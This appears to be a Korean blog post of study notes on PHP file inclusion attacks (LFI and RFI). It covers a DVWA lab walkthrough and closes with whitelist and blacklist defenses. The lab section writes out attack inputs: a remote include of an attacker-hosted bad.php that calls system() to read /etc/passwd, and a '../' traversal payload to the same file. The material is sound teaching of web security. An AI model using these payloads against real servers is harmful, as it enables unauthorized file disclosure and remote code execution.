- 주로 PHP 애플리케이션 대상으로 발생
: PHP는 인클루드 기능을 제공하기 때문에
* 인클루드 : include라는 함수를 이용하여 다른 파일을 소스 코드에 직접 인클루드시킬 수 있는 기능
-> 인클루드할 파일을 외부 사용자가 지정할 수 있는 경우 파일 인클루전 취약점이 존재하고, 공격자는 본인이 원하는 파일 인클루드 가능!
1. 파일 인클루전 공격 개요
① 로컬 파일 인클루전(Local File Inclusion, LFI) : 공격자가 인클루드할 수 있는 파일이 호스트 내부의 파일
② 리모트 파일 인클루전(Remote File Inclusion, RFI) : 공격자가 인클루드할 수 있는 파일이 호스트 외부의 파일
(★ 원격 인클루드가 가능해 더욱 심각한 공격)
- 정상적인 파일인 file.php가 웹 요청의 page 파라미터를 통해 지정됨
: 공격자가 file.php 대신에 자신이 관리하는 http://hacker.com/bad.php 인클루드로 지정 가능
-> ‘입력값 검증’ 수행하여야함
But, ‘http://’ 와 같은 문자열의 입력을 차단하여 RFI 방어에 성공하더라도 LFI 공격은 여전히 발생 가능!
- 서버 호스트 내부의 파일을 인클루드하는 공격
- 상위 디렉터리의 경로를 의미하는 ‘../’ 와 같은 문자열을 이용하여 현재 웹페이지의 경로 벗어나기 가능
- ‘../’를 여러 번 반복하여 입력하게 되면 루트 디렉터리까지 이동 가능하고, 이후 루트 디렉터리 아래에 있는 모든 다른 경로를 지정 가능
* ‘../’를 이용한 공격 기법 -> 트래버설 공격
2. 파일 인클루전 공격 실습
<RFI 공격>
- 먼저 https://github.com/bjpublic/whitehacker에서 POC(Proof of Concept, 어떤 공격이 가능하다는 것을 보여주는 간단한 예제)코드를 다운받는다.
- POC 코드 중 bad.php파일(RFI 이용하여 실행한 POC 코드)을 /var/www/html로 이동(원격 호출시키기 위해서)시키고 아파치 웹 서버 실행
- bad.php는 /etc/passwd 파일의 내용을 system() 함수를 호출하여 요청
-> RFI 공격 성공하면 시스템 명령 내리기 가능!
- LOW 단계로 File Inclusion 문제에 접속하면 주소창에 page=include.php인 것 확인 가능
-> page 파라미터로 지정된 include.php 파일이 인클루드되어 실습 페이지 표시되도록 구현됨
- file1.php 링크 클릭 시 사용자의 ID와 IP 주소를 출력하는 코드(file1.php)가 인클루드되어 실행됨 (file2.php와 file3.php도 마찬가지임)
* RFI 취약점이 있다는 것을 확인하기 위해 page 파라미터를 다음과 같이 변경
page=http://<칼리 리눅스 IP 주소>/bad.php
* 만약 계속 아래와 같은 에러가 발생 시 ‘service apache2 start’를 통해 아파치 서버 실행
<LFI 공격>
- 파일 인클루전 실습 페이지의 호스트 내 경로는 아래와 같음
- fi는 /var/www/dvwa/vulnerabilities/fi 이므로 다섯번째 서브 디렉터리이다. 그러므로 ‘../’를 다섯번 입력할 시 root 디렉터리로 이동 가능
- 그후 /etc/passwd 로 접근하기 위해 다음과 같이 page 파라미터를 수정
page=../../../../../etc/passwd
3. 파일 인클루전 공격 대응
- 외부 사용자가 입력한 파일 이름을 인클루드에 사용하지 않기
- 입력값 검증 -> 화이트리스트 검증을 사용하여 인클루드가 필요한 파일 이름의 목록을 작성하여 해당 파일들만 허용하고 나머지 파일 이름에 대해서는 모두 차단하거나, 블랙리스트 검증의 경우에는 http://, https:// 와 같은 프로토콜 관련 문자열이나, ../ 와 같은 디렉터리 트래버설 공격을 위한 문자열을 차단
'웹해킹' 카테고리의 다른 글
웹해킹 #10 민감한 데이터 노출 (0) | 2020.04.08 |
---|---|
웹해킹 #9 파일 업로드 공격 (0) | 2020.04.08 |
웹해킹 #7 취약한 인증 공격 (0) | 2020.03.24 |
웹해킹 #6 크로스 사이트 요청 변조(CSRF) 공격 (1) | 2019.10.13 |
웹해킹 #5 크로스 사이트 스크립팅 공격 (XSS) (1) | 2019.10.12 |